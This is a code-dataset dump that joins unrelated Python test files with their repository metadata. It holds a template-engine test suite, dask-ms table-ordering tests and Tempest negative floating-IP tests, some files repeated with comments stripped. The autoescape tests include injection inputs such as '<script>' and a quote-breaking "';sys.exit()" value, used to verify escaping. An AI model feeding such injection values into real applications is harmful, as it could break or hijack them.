loader.load("page.html").generate(), b"<title>page title</title>\n<body>page body</body>\n", ) def test_relative_load(self): loader = DictLoader( { "a/1.html": "{% include '2.html' %}", "a/2.html": "{% include '../b/3.html' %}", "b/3.html": "ok", } ) self.assertEqual(loader.load("a/1.html").generate(), b"ok") def test_escaping(self): self.assertRaises(ParseError, lambda: Template("{{")) self.assertRaises(ParseError, lambda: Template("{%")) self.assertEqual(Template("{{!").generate(), b"{{") self.assertEqual(Template("{%!").generate(), b"{%") self.assertEqual(Template("{#!").generate(), b"{#") self.assertEqual( Template("{{ 'expr' }} {{!jquery expr}}").generate(), b"expr {{jquery expr}}", ) def test_unicode_template(self): template = Template(utf8(u"\u00e9")) self.assertEqual(template.generate(), utf8(u"\u00e9")) def test_unicode_literal_expression(self): template = Template(utf8(u'{{ "\u00e9" }}')) self.assertEqual(template.generate(), utf8(u"\u00e9")) def test_custom_namespace(self): loader = DictLoader( {"test.html": "{{ inc(5) }}"}, namespace={"inc": lambda x: x + 1} ) self.assertEqual(loader.load("test.html").generate(), b"6") def test_apply(self): def upper(s): return s.upper() template = Template(utf8("{% apply upper %}foo{% end %}")) self.assertEqual(template.generate(upper=upper), b"FOO") def test_unicode_apply(self): def upper(s): return to_unicode(s).upper() template = Template(utf8(u"{% apply upper %}foo \u00e9{% end %}")) self.assertEqual(template.generate(upper=upper), utf8(u"FOO \u00c9")) def test_bytes_apply(self): def upper(s): return utf8(to_unicode(s).upper()) template = Template(utf8(u"{% apply upper %}foo \u00e9{% end %}")) self.assertEqual(template.generate(upper=upper), utf8(u"FOO \u00c9")) def test_if(self): template = Template(utf8("{% if x > 4 %}yes{% else %}no{% end %}")) self.assertEqual(template.generate(x=5), b"yes") self.assertEqual(template.generate(x=3), b"no") def test_if_empty_body(self): template = Template(utf8("{% if True %}{% else %}{% end %}")) self.assertEqual(template.generate(), b"") def test_try(self): template = Template( utf8( """{% try %} try{% set y = 1/x %} {% except %}-except {% else %}-else {% finally %}-finally {% end %}""" ) ) self.assertEqual(template.generate(x=1), b"\ntry\n-else\n-finally\n") self.assertEqual(template.generate(x=0), b"\ntry-except\n-finally\n") def test_comment_directive(self): template = Template(utf8("{% comment blah blah %}foo")) self.assertEqual(template.generate(), b"foo") def test_break_continue(self): template = Template( utf8( """\ {% for i in range(10) %} {% if i == 2 %} {% continue %} {% end %} {{ i }} {% if i == 6 %} {% break %} {% end %} {% end %}""" ) ) result = template.generate() result = b"".join(result.split()) self.assertEqual(result, b"013456") def test_break_outside_loop(self): try: Template(utf8("{% break %}")) raise Exception("Did not get expected exception") except ParseError: pass def test_break_in_apply(self): try: Template( utf8("{% for i in [] %}{% apply foo %}{% break %}{% end %}{% end %}") ) raise Exception("Did not get expected exception") except ParseError: pass @unittest.skip("no testable future imports") def test_no_inherit_future(self): # TODO(bdarnell): make a test like this for one of the future # imports available in python 3. Unfortunately they're harder self.assertEqual(1 / 2, 0.5) template = Template("{{ 1 / 2 }}") self.assertEqual(template.generate(), "0") def test_non_ascii_name(self): loader = DictLoader({u"t\u00e9st.html": "hello"}) self.assertEqual(loader.load(u"t\u00e9st.html").generate(), b"hello") class StackTraceTest(unittest.TestCase): def test_error_line_number_expression(self): loader = DictLoader( { "test.html": """one two{{1/0}} three """ } ) try: loader.load("test.html").generate() self.fail("did not get expected exception") except ZeroDivisionError: self.assertTrue("# test.html:2" in traceback.format_exc()) def test_error_line_number_directive(self): loader = DictLoader( { "test.html": """one two{%if 1/0%} three{%end%} """ } ) try: loader.load("test.html").generate() self.fail("did not get expected exception") except ZeroDivisionError: self.assertTrue("# test.html:2" in traceback.format_exc()) def test_error_line_number_module(self): loader = None # type: typing.Optional[DictLoader] def load_generate(path, **kwargs): assert loader is not None return loader.load(path).generate(**kwargs) loader = DictLoader( {"base.html": "{% module Template('sub.html') %}", "sub.html": "{{1/0}}"}, namespace={"_tt_modules": ObjectDict(Template=load_generate)}, ) try: loader.load("base.html").generate() self.fail("did not get expected exception") except ZeroDivisionError: exc_stack = traceback.format_exc() self.assertTrue("# base.html:1" in exc_stack) self.assertTrue("# sub.html:1" in exc_stack) def test_error_line_number_include(self): loader = DictLoader( {"base.html": "{% include 'sub.html' %}", "sub.html": "{{1/0}}"} ) try: loader.load("base.html").generate() self.fail("did not get expected exception") except ZeroDivisionError: self.assertTrue("# sub.html:1 (via base.html:1)" in traceback.format_exc()) def test_error_line_number_extends_base_error(self): loader = DictLoader( {"base.html": "{{1/0}}", "sub.html": "{% extends 'base.html' %}"} ) try: loader.load("sub.html").generate() self.fail("did not get expected exception") except ZeroDivisionError: exc_stack = traceback.format_exc() self.assertTrue("# base.html:1" in exc_stack) def test_error_line_number_extends_sub_error(self): loader = DictLoader( { "base.html": "{% block 'block' %}{% end %}", "sub.html": """ {% extends 'base.html' %} {% block 'block' %} {{1/0}} {% end %} """, } ) try: loader.load("sub.html").generate() self.fail("did not get expected exception") except ZeroDivisionError: self.assertTrue("# sub.html:4 (via base.html:1)" in traceback.format_exc()) def test_multi_includes(self): loader = DictLoader( { "a.html": "{% include 'b.html' %}", "b.html": "{% include 'c.html' %}", "c.html": "{{1/0}}", } ) try: loader.load("a.html").generate() self.fail("did not get expected exception") except ZeroDivisionError: self.assertTrue( "# c.html:1 (via b.html:1, a.html:1)" in traceback.format_exc() ) class ParseErrorDetailTest(unittest.TestCase): def test_details(self): loader = DictLoader({"foo.html": "\n\n{{"}) with self.assertRaises(ParseError) as cm: loader.load("foo.html") self.assertEqual("Missing end expression }} at foo.html:3", str(cm.exception)) self.assertEqual("foo.html", cm.exception.filename) self.assertEqual(3, cm.exception.lineno) def test_custom_parse_error(self): # Make sure that ParseErrors remain compatible with their # pre-4.3 signature. self.assertEqual("asdf at None:0", str(ParseError("asdf"))) class AutoEscapeTest(unittest.TestCase): def setUp(self): self.templates = { "escaped.html": "{% autoescape xhtml_escape %}{{ name }}", "unescaped.html": "{% autoescape None %}{{ name }}", "default.html": "{{ name }}", "include.html": """\ escaped: {% include 'escaped.html' %} unescaped: {% include 'unescaped.html' %} default: {% include 'default.html' %} """, "escaped_block.html": """\ {% autoescape xhtml_escape %}\ {% block name %}base: {{ name }}{% end %}""", "unescaped_block.html": """\ {% autoescape None %}\ {% block name %}base: {{ name }}{% end %}""", # Extend a base template with different autoescape policy, # with and without overriding the base's blocks "escaped_extends_unescaped.html": """\ {% autoescape xhtml_escape %}\ {% extends "unescaped_block.html" %}""", "escaped_overrides_unescaped.html": """\ {% autoescape xhtml_escape %}\ {% extends "unescaped_block.html" %}\ {% block name %}extended: {{ name }}{% end %}""", "unescaped_extends_escaped.html": """\ {% autoescape None %}\ {% extends "escaped_block.html" %}""", "unescaped_overrides_escaped.html": """\ {% autoescape None %}\ {% extends "escaped_block.html" %}\ {% block name %}extended: {{ name }}{% end %}""", "raw_expression.html": """\ {% autoescape xhtml_escape %}\ expr: {{ name }} raw: {% raw name %}""", } def test_default_off(self): loader = DictLoader(self.templates, autoescape=None) name = "Bobby <table>s" self.assertEqual( loader.load("escaped.html").generate(name=name), b"Bobby &lt;table&gt;s" ) self.assertEqual( loader.load("unescaped.html").generate(name=name), b"Bobby <table>s" ) self.assertEqual( loader.load("default.html").generate(name=name), b"Bobby <table>s" ) self.assertEqual( loader.load("include.html").generate(name=name), b"escaped: Bobby &lt;table&gt;s\n" b"unescaped: Bobby <table>s\n" b"default: Bobby <table>s\n", ) def test_default_on(self): loader = DictLoader(self.templates, autoescape="xhtml_escape") name = "Bobby <table>s" self.assertEqual( loader.load("escaped.html").generate(name=name), b"Bobby &lt;table&gt;s" ) self.assertEqual( loader.load("unescaped.html").generate(name=name), b"Bobby <table>s" ) self.assertEqual( loader.load("default.html").generate(name=name), b"Bobby &lt;table&gt;s" ) self.assertEqual( loader.load("include.html").generate(name=name), b"escaped: Bobby &lt;table&gt;s\n" b"unescaped: Bobby <table>s\n" b"default: Bobby &lt;table&gt;s\n", ) def test_unextended_block(self): loader = DictLoader(self.templates) name = "<script>" self.assertEqual( loader.load("escaped_block.html").generate(name=name), b"base: &lt;script&gt;", ) self.assertEqual( loader.load("unescaped_block.html").generate(name=name), b"base: <script>" ) def test_extended_block(self): loader = DictLoader(self.templates) def render(name): return loader.load(name).generate(name="<script>") self.assertEqual(render("escaped_extends_unescaped.html"), b"base: <script>") self.assertEqual( render("escaped_overrides_unescaped.html"), b"extended: &lt;script&gt;" ) self.assertEqual( render("unescaped_extends_escaped.html"), b"base: &lt;script&gt;" ) self.assertEqual( render("unescaped_overrides_escaped.html"), b"extended: <script>" ) def test_raw_expression(self): loader = DictLoader(self.templates) def render(name): return loader.load(name).generate(name='<>&"') self.assertEqual( render("raw_expression.html"), b"expr: &lt;&gt;&amp;&quot;\n" b'raw: <>&"' ) def test_custom_escape(self): loader = DictLoader({"foo.py": "{% autoescape py_escape %}s = {{ name }}\n"}) def py_escape(s): self.assertEqual(type(s), bytes) return repr(native_str(s)) def render(template, name): return loader.load(template).generate(py_escape=py_escape, name=name) self.assertEqual(render("foo.py", "<html>"), b"s = '<html>'\n") self.assertEqual(render("foo.py", "';sys.exit()"), b"""s = "';sys.exit()"\n""") self.assertEqual( render("foo.py", ["not a string"]), b"""s = "['not a string']"\n""" ) def test_manual_minimize_whitespace(self): loader = DictLoader( { "foo.txt": """\ {% for i in items %}{% if i > 0 %}, {% end %}{# #}{{i }}{% end %}""" } ) self.assertEqual( loader.load("foo.txt").generate(items=range(5)), b"0, 1, 2, 3, 4" ) def test_whitespace_by_filename(self): loader = DictLoader( { "foo.html": " \n\t\n asdf\t ", "bar.js": " \n\n\n\t qwer ", "baz.txt": "\t zxcv\n\n", "include.html": " {% include baz.txt %} \n ", "include.txt": "\t\t{% include foo.html %} ", } ) self.assertEqual(loader.load("foo.html").generate(), b"\nasdf ") self.assertEqual(loader.load("bar.js").generate(), b"\nqwer ") self.assertEqual(loader.load("baz.txt").generate(), b"\t zxcv\n\n") self.assertEqual(loader.load("include.html").generate(), b" \t zxcv\n\n\n") self.assertEqual(loader.load("include.txt").generate(), b"\t\t\nasdf ") def test_whitespace_by_loader(self): templates = {"foo.html": "\t\tfoo\n\n", "bar.txt": "\t\tbar\n\n"} loader = DictLoader(templates, whitespace="all") self.assertEqual(loader.load("foo.html").generate(), b"\t\tfoo\n\n") self.assertEqual(loader.load("bar.txt").generate(), b"\t\tbar\n\n") loader = DictLoader(templates, whitespace="single") self.assertEqual(loader.load("foo.html").generate(), b" foo\n") self.assertEqual(loader.load("bar.txt").generate(), b" bar\n") loader = DictLoader(templates, whitespace="oneline") self.assertEqual(loader.load("foo.html").generate(), b" foo ") self.assertEqual(loader.load("bar.txt").generate(), b" bar ") def test_whitespace_directive(self): loader = DictLoader( { "foo.html": """\ {% whitespace oneline %} {% for i in range(3) %} {{ i }} {% end %} {% whitespace all %} pre\tformatted """ } ) self.assertEqual( loader.load("foo.html").generate(), b" 0 1 2 \n pre\tformatted\n" ) class TemplateLoaderTest(unittest.TestCase): def setUp(self): self.loader = Loader(os.path.join(os.path.dirname(__file__), "templates")) def test_utf8_in_file(self): tmpl = self.loader.load("utf8.html") result = tmpl.generate() self.assertEqual(to_unicode(result).strip(), u"H\u00e9llo")
true
true
f71f0417c195d615119c5f534227e39a67905bf1
7,169
py
Python
daskms/tests/test_ordering.py
ratt-ru/dask-ms
becd3572f86a0ad78b55540f25fce6e129976a29
[ "BSD-3-Clause" ]
7
2019-08-23T03:44:53.000Z
2021-05-06T00:51:18.000Z
daskms/tests/test_ordering.py
ska-sa/dask-ms
ce33e7aad36eeb7c2c79093622b9776186856304
[ "BSD-3-Clause" ]
76
2019-08-20T14:34:05.000Z
2022-02-10T13:21:29.000Z
daskms/tests/test_ordering.py
ratt-ru/dask-ms
becd3572f86a0ad78b55540f25fce6e129976a29
[ "BSD-3-Clause" ]
4
2019-10-15T13:35:19.000Z
2021-03-23T14:52:23.000Z
# -*- coding: utf-8 -*- import dask import dask.array as da from numpy.testing import assert_array_equal import pyrap.tables as pt import pytest from daskms.table_proxy import TableProxy from daskms.ordering import (ordering_taql, row_ordering, group_ordering_taql, group_row_ordering) from daskms.utils import group_cols_str, index_cols_str, assert_liveness def table_proxy(ms): return TableProxy(pt.table, ms, ack=False, lockoptions='user', readonly=True) @pytest.mark.parametrize("group_cols", [ ["FIELD_ID", "SCAN_NUMBER"]], ids=group_cols_str) @pytest.mark.parametrize("index_cols", [ ["TIME", "ANTENNA1", "ANTENNA2"]], ids=index_cols_str) def test_ordering_query_taql_where_strings(ms, group_cols, index_cols): taql = group_ordering_taql(table_proxy(ms), group_cols, index_cols, taql_where="ANTENNA1 != ANTENNA2") assert taql._args[0].replace("\t", " "*4) == ( "SELECT\n" " FIELD_ID,\n" " SCAN_NUMBER,\n" " GAGGR(TIME) as GROUP_TIME,\n" " GAGGR(ANTENNA1) as GROUP_ANTENNA1,\n" " GAGGR(ANTENNA2) as GROUP_ANTENNA2,\n" " GROWID() AS __tablerow__,\n" " GCOUNT() as __tablerows__,\n" " GROWID()[0] as __firstrow__\n" "FROM\n" " $1\n" "WHERE\n" " ANTENNA1 != ANTENNA2\n" "GROUPBY\n" " FIELD_ID,\n" " SCAN_NUMBER") taql = group_ordering_taql(table_proxy(ms), group_cols, index_cols) assert taql._args[0].replace("\t", " "*4) == ( "SELECT\n" " FIELD_ID,\n" " SCAN_NUMBER,\n" " GAGGR(TIME) as GROUP_TIME,\n" " GAGGR(ANTENNA1) as GROUP_ANTENNA1,\n" " GAGGR(ANTENNA2) as GROUP_ANTENNA2,\n" " GROWID() AS __tablerow__,\n" " GCOUNT() as __tablerows__,\n" " GROWID()[0] as __firstrow__\n" "FROM\n" " $1\n" "GROUPBY\n" " FIELD_ID,\n" " SCAN_NUMBER") taql = group_ordering_taql(table_proxy(ms), group_cols, []) assert taql._args[0].replace("\t", " "*4) == ( "SELECT\n" " FIELD_ID,\n" " SCAN_NUMBER,\n" " GROWID() AS __tablerow__,\n" " GCOUNT() as __tablerows__,\n" " GROWID()[0] as __firstrow__\n" "FROM\n" " $1\n" "GROUPBY\n" " FIELD_ID,\n" " SCAN_NUMBER") taql = ordering_taql(table_proxy(ms), index_cols, taql_where="ANTENNA1 != ANTENNA2") assert taql._args[0].replace("\t", " "*4) == ( "SELECT\n" " ROWID() as __tablerow__\n" "FROM\n" " $1\n" "WHERE\n" " ANTENNA1 != ANTENNA2\n" "ORDERBY\n" " TIME,\n" " ANTENNA1,\n" " ANTENNA2") taql = ordering_taql(table_proxy(ms), index_cols) assert taql._args[0].replace("\t", " "*4) == ( "SELECT\n" " ROWID() as __tablerow__\n" "FROM\n" " $1\n" "ORDERBY\n" " TIME,\n" " ANTENNA1,\n" " ANTENNA2") taql = ordering_taql(table_proxy(ms), []) assert taql._args[0].replace("\t", " "*4) == ( "SELECT\n" " ROWID() as __tablerow__\n" "FROM\n" " $1\n") @pytest.mark.parametrize("group_cols", [ ["FIELD_ID", "SCAN_NUMBER"]], ids=group_cols_str) @pytest.mark.parametrize("index_cols", [ ["TIME", "ANTENNA1", "ANTENNA2"]], ids=index_cols_str) def test_ordering_multiple_groups(ms, group_cols, index_cols): group_taql = group_ordering_taql(table_proxy(ms), group_cols, index_cols) assert_liveness(2, 1) orders = group_row_ordering(group_taql, group_cols, index_cols, [{'row': 2}]) assert_liveness(2, 1) first_rows = group_taql.getcol("__firstrow__").result() assert_liveness(2, 1) assert len(first_rows) == len(orders) == 6 assert_array_equal(first_rows, [0, 1, 3, 4, 7, 8]) rowid_arrays = tuple(o[0] for o in orders) rowids = dask.compute(rowid_arrays)[0] assert_array_equal(rowids[0], [2, 0]) assert_array_equal(rowids[1], [1]) assert_array_equal(rowids[2], [5, 3]) assert_array_equal(rowids[3], [6, 4]) assert_array_equal(rowids[4], [9, 7]) assert_array_equal(rowids[5], [8]) del first_rows, orders, rowid_arrays, group_taql assert_liveness(0, 0) @pytest.mark.parametrize("index_cols", [ ["TIME", "ANTENNA1", "ANTENNA2"]], ids=index_cols_str) @pytest.mark.parametrize("chunks", [ {'row': 2}, {'row': (2, 3, 4, 1)}, {'row': (5, 3, 2)}], ids=lambda c: f'chunks={c}') def test_row_ordering_no_group(ms, index_cols, chunks): order_taql = ordering_taql(table_proxy(ms), index_cols) assert_liveness(2, 1) orders = row_ordering(order_taql, index_cols, chunks) assert_liveness(2, 1) # Normalise chunks to match that of the output array expected_chunks = da.core.normalize_chunks(chunks['row'], (10,)) assert orders[0].chunks == expected_chunks rowids = dask.compute(orders[0])[0] assert_array_equal(rowids, [9, 8, 7, 6, 5, 4, 3, 2, 1, 0]) del orders, order_taql assert_liveness(0, 0) # Grouping on DATA_DESC_ID gives us two groups # one with 7 rows and the other with 3 @pytest.mark.parametrize("group_cols", [ ["DATA_DESC_ID"]], ids=group_cols_str) @pytest.mark.parametrize("index_cols", [ ["TIME", "ANTENNA1", "ANTENNA2"]], ids=index_cols_str) @pytest.mark.parametrize("chunks", [ [{'row': 2}, {'row': 2}], [{'row': (3, 4)}, {'row': 3}], [{'row': (2, 3, 2)}, {'row': (2, 1)}], [{'row': 2}]], ids=lambda c: f'chunks={c}') def test_row_ordering_multiple_groups(ms, group_cols, index_cols, chunks): group_taql = group_ordering_taql(table_proxy(ms), group_cols, index_cols) assert_liveness(2, 1) orders = group_row_ordering(group_taql, group_cols, index_cols, chunks) assert_liveness(2, 1) first_rows = group_taql.getcol("__firstrow__").result() assert_liveness(2, 1) # We get two groups out assert len(orders) == len(first_rows) == 2 assert_array_equal(first_rows, [0, 7]) rowid_arrays = tuple(o[0] for o in orders) rowids = dask.compute(rowid_arrays)[0] # Check the two resulting groups # Normalise chunks to match that of the output array row_chunks = chunks[0]['row'] expected_chunks = da.core.normalize_chunks(row_chunks, (7,)) assert_array_equal(rowids[0], [6, 5, 4, 3, 2, 1, 0]) assert rowid_arrays[0].chunks == expected_chunks # If chunks only supplied for the first group, re-use it's chunking row_chunks = chunks[0]['row'] if len(chunks) == 1 else chunks[1]['row'] expected_chunks = da.core.normalize_chunks(row_chunks, (3,)) assert_array_equal(rowids[1], [9, 8, 7]) assert rowid_arrays[1].chunks == expected_chunks del first_rows, orders, rowid_arrays, group_taql assert_liveness(0, 0)
32.885321
77
0.590598
import dask import dask.array as da from numpy.testing import assert_array_equal import pyrap.tables as pt import pytest from daskms.table_proxy import TableProxy from daskms.ordering import (ordering_taql, row_ordering, group_ordering_taql, group_row_ordering) from daskms.utils import group_cols_str, index_cols_str, assert_liveness def table_proxy(ms): return TableProxy(pt.table, ms, ack=False, lockoptions='user', readonly=True) @pytest.mark.parametrize("group_cols", [ ["FIELD_ID", "SCAN_NUMBER"]], ids=group_cols_str) @pytest.mark.parametrize("index_cols", [ ["TIME", "ANTENNA1", "ANTENNA2"]], ids=index_cols_str) def test_ordering_query_taql_where_strings(ms, group_cols, index_cols): taql = group_ordering_taql(table_proxy(ms), group_cols, index_cols, taql_where="ANTENNA1 != ANTENNA2") assert taql._args[0].replace("\t", " "*4) == ( "SELECT\n" " FIELD_ID,\n" " SCAN_NUMBER,\n" " GAGGR(TIME) as GROUP_TIME,\n" " GAGGR(ANTENNA1) as GROUP_ANTENNA1,\n" " GAGGR(ANTENNA2) as GROUP_ANTENNA2,\n" " GROWID() AS __tablerow__,\n" " GCOUNT() as __tablerows__,\n" " GROWID()[0] as __firstrow__\n" "FROM\n" " $1\n" "WHERE\n" " ANTENNA1 != ANTENNA2\n" "GROUPBY\n" " FIELD_ID,\n" " SCAN_NUMBER") taql = group_ordering_taql(table_proxy(ms), group_cols, index_cols) assert taql._args[0].replace("\t", " "*4) == ( "SELECT\n" " FIELD_ID,\n" " SCAN_NUMBER,\n" " GAGGR(TIME) as GROUP_TIME,\n" " GAGGR(ANTENNA1) as GROUP_ANTENNA1,\n" " GAGGR(ANTENNA2) as GROUP_ANTENNA2,\n" " GROWID() AS __tablerow__,\n" " GCOUNT() as __tablerows__,\n" " GROWID()[0] as __firstrow__\n" "FROM\n" " $1\n" "GROUPBY\n" " FIELD_ID,\n" " SCAN_NUMBER") taql = group_ordering_taql(table_proxy(ms), group_cols, []) assert taql._args[0].replace("\t", " "*4) == ( "SELECT\n" " FIELD_ID,\n" " SCAN_NUMBER,\n" " GROWID() AS __tablerow__,\n" " GCOUNT() as __tablerows__,\n" " GROWID()[0] as __firstrow__\n" "FROM\n" " $1\n" "GROUPBY\n" " FIELD_ID,\n" " SCAN_NUMBER") taql = ordering_taql(table_proxy(ms), index_cols, taql_where="ANTENNA1 != ANTENNA2") assert taql._args[0].replace("\t", " "*4) == ( "SELECT\n" " ROWID() as __tablerow__\n" "FROM\n" " $1\n" "WHERE\n" " ANTENNA1 != ANTENNA2\n" "ORDERBY\n" " TIME,\n" " ANTENNA1,\n" " ANTENNA2") taql = ordering_taql(table_proxy(ms), index_cols) assert taql._args[0].replace("\t", " "*4) == ( "SELECT\n" " ROWID() as __tablerow__\n" "FROM\n" " $1\n" "ORDERBY\n" " TIME,\n" " ANTENNA1,\n" " ANTENNA2") taql = ordering_taql(table_proxy(ms), []) assert taql._args[0].replace("\t", " "*4) == ( "SELECT\n" " ROWID() as __tablerow__\n" "FROM\n" " $1\n") @pytest.mark.parametrize("group_cols", [ ["FIELD_ID", "SCAN_NUMBER"]], ids=group_cols_str) @pytest.mark.parametrize("index_cols", [ ["TIME", "ANTENNA1", "ANTENNA2"]], ids=index_cols_str) def test_ordering_multiple_groups(ms, group_cols, index_cols): group_taql = group_ordering_taql(table_proxy(ms), group_cols, index_cols) assert_liveness(2, 1) orders = group_row_ordering(group_taql, group_cols, index_cols, [{'row': 2}]) assert_liveness(2, 1) first_rows = group_taql.getcol("__firstrow__").result() assert_liveness(2, 1) assert len(first_rows) == len(orders) == 6 assert_array_equal(first_rows, [0, 1, 3, 4, 7, 8]) rowid_arrays = tuple(o[0] for o in orders) rowids = dask.compute(rowid_arrays)[0] assert_array_equal(rowids[0], [2, 0]) assert_array_equal(rowids[1], [1]) assert_array_equal(rowids[2], [5, 3]) assert_array_equal(rowids[3], [6, 4]) assert_array_equal(rowids[4], [9, 7]) assert_array_equal(rowids[5], [8]) del first_rows, orders, rowid_arrays, group_taql assert_liveness(0, 0) @pytest.mark.parametrize("index_cols", [ ["TIME", "ANTENNA1", "ANTENNA2"]], ids=index_cols_str) @pytest.mark.parametrize("chunks", [ {'row': 2}, {'row': (2, 3, 4, 1)}, {'row': (5, 3, 2)}], ids=lambda c: f'chunks={c}') def test_row_ordering_no_group(ms, index_cols, chunks): order_taql = ordering_taql(table_proxy(ms), index_cols) assert_liveness(2, 1) orders = row_ordering(order_taql, index_cols, chunks) assert_liveness(2, 1) expected_chunks = da.core.normalize_chunks(chunks['row'], (10,)) assert orders[0].chunks == expected_chunks rowids = dask.compute(orders[0])[0] assert_array_equal(rowids, [9, 8, 7, 6, 5, 4, 3, 2, 1, 0]) del orders, order_taql assert_liveness(0, 0) @pytest.mark.parametrize("group_cols", [ ["DATA_DESC_ID"]], ids=group_cols_str) @pytest.mark.parametrize("index_cols", [ ["TIME", "ANTENNA1", "ANTENNA2"]], ids=index_cols_str) @pytest.mark.parametrize("chunks", [ [{'row': 2}, {'row': 2}], [{'row': (3, 4)}, {'row': 3}], [{'row': (2, 3, 2)}, {'row': (2, 1)}], [{'row': 2}]], ids=lambda c: f'chunks={c}') def test_row_ordering_multiple_groups(ms, group_cols, index_cols, chunks): group_taql = group_ordering_taql(table_proxy(ms), group_cols, index_cols) assert_liveness(2, 1) orders = group_row_ordering(group_taql, group_cols, index_cols, chunks) assert_liveness(2, 1) first_rows = group_taql.getcol("__firstrow__").result() assert_liveness(2, 1) assert len(orders) == len(first_rows) == 2 assert_array_equal(first_rows, [0, 7]) rowid_arrays = tuple(o[0] for o in orders) rowids = dask.compute(rowid_arrays)[0] row_chunks = chunks[0]['row'] expected_chunks = da.core.normalize_chunks(row_chunks, (7,)) assert_array_equal(rowids[0], [6, 5, 4, 3, 2, 1, 0]) assert rowid_arrays[0].chunks == expected_chunks row_chunks = chunks[0]['row'] if len(chunks) == 1 else chunks[1]['row'] expected_chunks = da.core.normalize_chunks(row_chunks, (3,)) assert_array_equal(rowids[1], [9, 8, 7]) assert rowid_arrays[1].chunks == expected_chunks del first_rows, orders, rowid_arrays, group_taql assert_liveness(0, 0)
true
true
f71f0462323accc1bfac00a9a945ecba1fea9b04
4,261
py
Python
tempest/api/compute/floating_ips/test_floating_ips_actions_negative.py
gamado/ds_tempest_rm_me_please
3f5d149b3a32e713c60c59a054035ac2e5c73c28
[ "Apache-2.0" ]
null
null
null
tempest/api/compute/floating_ips/test_floating_ips_actions_negative.py
gamado/ds_tempest_rm_me_please
3f5d149b3a32e713c60c59a054035ac2e5c73c28
[ "Apache-2.0" ]
null
null
null
tempest/api/compute/floating_ips/test_floating_ips_actions_negative.py
gamado/ds_tempest_rm_me_please
3f5d149b3a32e713c60c59a054035ac2e5c73c28
[ "Apache-2.0" ]
2
2015-04-30T08:46:29.000Z
2020-03-01T17:05:23.000Z
# Copyright 2012 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from tempest.api.compute.floating_ips import base from tempest.common.utils import data_utils from tempest import config from tempest.lib import exceptions as lib_exc from tempest import test CONF = config.CONF class FloatingIPsNegativeTestJSON(base.BaseFloatingIPsTest): server_id = None @classmethod def setup_clients(cls): super(FloatingIPsNegativeTestJSON, cls).setup_clients() cls.client = cls.floating_ips_client @classmethod def resource_setup(cls): super(FloatingIPsNegativeTestJSON, cls).resource_setup() # Server creation server = cls.create_test_server(wait_until='ACTIVE') cls.server_id = server['id'] # Generating a nonexistent floatingIP id cls.floating_ip_ids = [] body = cls.client.list_floating_ips()['floating_ips'] for i in range(len(body)): cls.floating_ip_ids.append(body[i]['id']) while True: cls.non_exist_id = data_utils.rand_int_id(start=999) if CONF.service_available.neutron: cls.non_exist_id = data_utils.rand_uuid() if cls.non_exist_id not in cls.floating_ip_ids: break @test.attr(type=['negative']) @test.idempotent_id('6e0f059b-e4dd-48fb-8207-06e3bba5b074') @test.services('network') def test_allocate_floating_ip_from_nonexistent_pool(self): # Negative test:Allocation of a new floating IP from a nonexistent_pool # to a project should fail self.assertRaises(lib_exc.NotFound, self.client.create_floating_ip, pool="non_exist_pool") @test.attr(type=['negative']) @test.idempotent_id('ae1c55a8-552b-44d4-bfb6-2a115a15d0ba') @test.services('network') def test_delete_nonexistent_floating_ip(self): # Negative test:Deletion of a nonexistent floating IP # from project should fail # Deleting the non existent floating IP self.assertRaises(lib_exc.NotFound, self.client.delete_floating_ip, self.non_exist_id) @test.attr(type=['negative']) @test.idempotent_id('595fa616-1a71-4670-9614-46564ac49a4c') @test.services('network') def test_associate_nonexistent_floating_ip(self): # Negative test:Association of a non existent floating IP # to specific server should fail # Associating non existent floating IP self.assertRaises(lib_exc.NotFound, self.client.associate_floating_ip_to_server, "0.0.0.0", self.server_id) @test.attr(type=['negative']) @test.idempotent_id('0a081a66-e568-4e6b-aa62-9587a876dca8') @test.services('network') def test_dissociate_nonexistent_floating_ip(self): # Negative test:Dissociation of a non existent floating IP should fail # Dissociating non existent floating IP self.assertRaises(lib_exc.NotFound, self.client.disassociate_floating_ip_from_server, "0.0.0.0", self.server_id) @test.attr(type=['negative']) @test.idempotent_id('804b4fcb-bbf5-412f-925d-896672b61eb3') @test.services('network') def test_associate_ip_to_server_without_passing_floating_ip(self): # Negative test:Association of empty floating IP to specific server # should raise NotFound or BadRequest(In case of Nova V2.1) exception. self.assertRaises((lib_exc.NotFound, lib_exc.BadRequest), self.client.associate_floating_ip_to_server, '', self.server_id)
41.368932
79
0.678479
from tempest.api.compute.floating_ips import base from tempest.common.utils import data_utils from tempest import config from tempest.lib import exceptions as lib_exc from tempest import test CONF = config.CONF class FloatingIPsNegativeTestJSON(base.BaseFloatingIPsTest): server_id = None @classmethod def setup_clients(cls): super(FloatingIPsNegativeTestJSON, cls).setup_clients() cls.client = cls.floating_ips_client @classmethod def resource_setup(cls): super(FloatingIPsNegativeTestJSON, cls).resource_setup() server = cls.create_test_server(wait_until='ACTIVE') cls.server_id = server['id'] cls.floating_ip_ids = [] body = cls.client.list_floating_ips()['floating_ips'] for i in range(len(body)): cls.floating_ip_ids.append(body[i]['id']) while True: cls.non_exist_id = data_utils.rand_int_id(start=999) if CONF.service_available.neutron: cls.non_exist_id = data_utils.rand_uuid() if cls.non_exist_id not in cls.floating_ip_ids: break @test.attr(type=['negative']) @test.idempotent_id('6e0f059b-e4dd-48fb-8207-06e3bba5b074') @test.services('network') def test_allocate_floating_ip_from_nonexistent_pool(self): self.assertRaises(lib_exc.NotFound, self.client.create_floating_ip, pool="non_exist_pool") @test.attr(type=['negative']) @test.idempotent_id('ae1c55a8-552b-44d4-bfb6-2a115a15d0ba') @test.services('network') def test_delete_nonexistent_floating_ip(self): self.assertRaises(lib_exc.NotFound, self.client.delete_floating_ip, self.non_exist_id) @test.attr(type=['negative']) @test.idempotent_id('595fa616-1a71-4670-9614-46564ac49a4c') @test.services('network') def test_associate_nonexistent_floating_ip(self): self.assertRaises(lib_exc.NotFound, self.client.associate_floating_ip_to_server, "0.0.0.0", self.server_id) @test.attr(type=['negative']) @test.idempotent_id('0a081a66-e568-4e6b-aa62-9587a876dca8') @test.services('network') def test_dissociate_nonexistent_floating_ip(self): self.assertRaises(lib_exc.NotFound, self.client.disassociate_floating_ip_from_server, "0.0.0.0", self.server_id) 